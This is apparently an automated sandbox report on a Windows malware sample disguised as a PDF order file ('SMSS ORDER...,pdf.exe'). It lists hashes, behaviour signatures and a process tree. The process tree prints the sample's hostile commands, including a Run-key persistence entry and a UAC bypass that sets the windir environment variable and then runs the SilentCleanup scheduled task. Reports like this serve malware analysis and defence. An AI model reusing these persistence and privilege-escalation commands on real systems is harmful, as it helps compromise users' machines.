Analysis
- max time kernel
135s - max time network
141s - platform
windows7_x64 - resource
win7-en - submitted
16/09/2021, 14:05
Static task
static1
Behavioral task
behavioral1
Sample
SMSS ORDER 5676884767638,pdf.exe
Resource
win7-en
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
SMSS ORDER 5676884767638,pdf.exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
General
- Target SMSS ORDER 5676884767638,pdf.exe
- Size 812KB
- Sample210916-rdtxjagdem
- SHA256 ff5c1829e2ad044ec148a71766e4cd62ca12a528062e7da001c787cfb37be27d
- MD5 937e78726308b2076df4b8be19a4d151
- SHA1 8bea8d60dc0137ea3720e1caa5c369d8dc98f349
- SHA512 4ced9ff50fa10dce0d6bcc2b134f24ea6f114b288b62ae456fc1e8dd7f7b676501c458ab1a20255a7ca88523bebd95f5148b54e2ed7ecb5ed8d959d7f7592413
- MD5 SHA1 SHA512
Score
6/10
Malware Config
Signatures
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\Dmvzpur = "C:\\Users\\Public\\Libraries\\rupzvmD.url" SMSS ORDER 5676884767638,pdf.exe - Program crash 1 IoCs
pid pid_target Process procid_target 1664 1744 WerFault.exe 28 - Modifies registry key 1 TTPs 3 IoCs
pid Process 1840 reg.exe 2028 reg.exe 1472 reg.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1664 WerFault.exe 1664 WerFault.exe 1664 WerFault.exe 1664 WerFault.exe 1664 WerFault.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1664 WerFault.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1664 WerFault.exe - Suspicious use of WriteProcessMemory 48 IoCs
description pid Process procid_target PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1744 1076 SMSS ORDER 5676884767638,pdf.exe 28 PID 1076 wrote to memory of 1736 1076 SMSS ORDER 5676884767638,pdf.exe 29 PID 1076 wrote to memory of 1736 1076 SMSS ORDER 5676884767638,pdf.exe 29 PID 1076 wrote to memory of 1736 1076 SMSS ORDER 5676884767638,pdf.exe 29 PID 1076 wrote to memory of 1736 1076 SMSS ORDER 5676884767638,pdf.exe 29 PID 1736 wrote to memory of 300 1736 cmd.exe 31 PID 1736 wrote to memory of 300 1736 cmd.exe 31 PID 1736 wrote to memory of 300 1736 cmd.exe 31 PID 1736 wrote to memory of 300 1736 cmd.exe 31 PID 1744 wrote to memory of 1664 1744 mshta.exe 33 PID 1744 wrote to memory of 1664 1744 mshta.exe 33 PID 1744 wrote to memory of 1664 1744 mshta.exe 33 PID 1744 wrote to memory of 1664 1744 mshta.exe 33 PID 300 wrote to memory of 1472 300 cmd.exe 34 PID 300 wrote to memory of 1472 300 cmd.exe 34 PID 300 wrote to memory of 1472 300 cmd.exe 34 PID 300 wrote to memory of 1472 300 cmd.exe 34 PID 300 wrote to memory of 1840 300 cmd.exe 35 PID 300 wrote to memory of 1840 300 cmd.exe 35 PID 300 wrote to memory of 1840 300 cmd.exe 35 PID 300 wrote to memory of 1840 300 cmd.exe 35 PID 300 wrote to memory of 1688 300 cmd.exe 36 PID 300 wrote to memory of 1688 300 cmd.exe 36 PID 300 wrote to memory of 1688 300 cmd.exe 36 PID 300 wrote to memory of 1688 300 cmd.exe 36 PID 1076 wrote to memory of 1172 1076 SMSS ORDER 5676884767638,pdf.exe 37 PID 1076 wrote to memory of 1172 1076 SMSS ORDER 5676884767638,pdf.exe 37 PID 1076 wrote to memory of 1172 1076 SMSS ORDER 5676884767638,pdf.exe 37 PID 1076 wrote to memory of 1172 1076 SMSS ORDER 5676884767638,pdf.exe 37 PID 1172 wrote to memory of 2028 1172 cmd.exe 39 PID 1172 wrote to memory of 2028 1172 cmd.exe 39 PID 1172 wrote to memory of 2028 1172 cmd.exe 39 PID 1172 wrote to memory of 2028 1172 cmd.exe 39
Processes
-
C:\Users\Admin\AppData\Local\Temp\SMSS ORDER 5676884767638,pdf.exe"C:\Users\Admin\AppData\Local\Temp\SMSS ORDER 5676884767638,pdf.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\Windows\SysWOW64\mshta.exeC:\Windows\System32\mshta.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1744 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1744 -s 1443⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1664
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\Trast.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1736 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat3⤵
- Suspicious use of WriteProcessMemory
PID:300 -
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:1472
-
-
C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
PID:1840
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵PID:1688
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\nest.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1172 -
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f3⤵
- Modifies registry key
PID:2028
-
-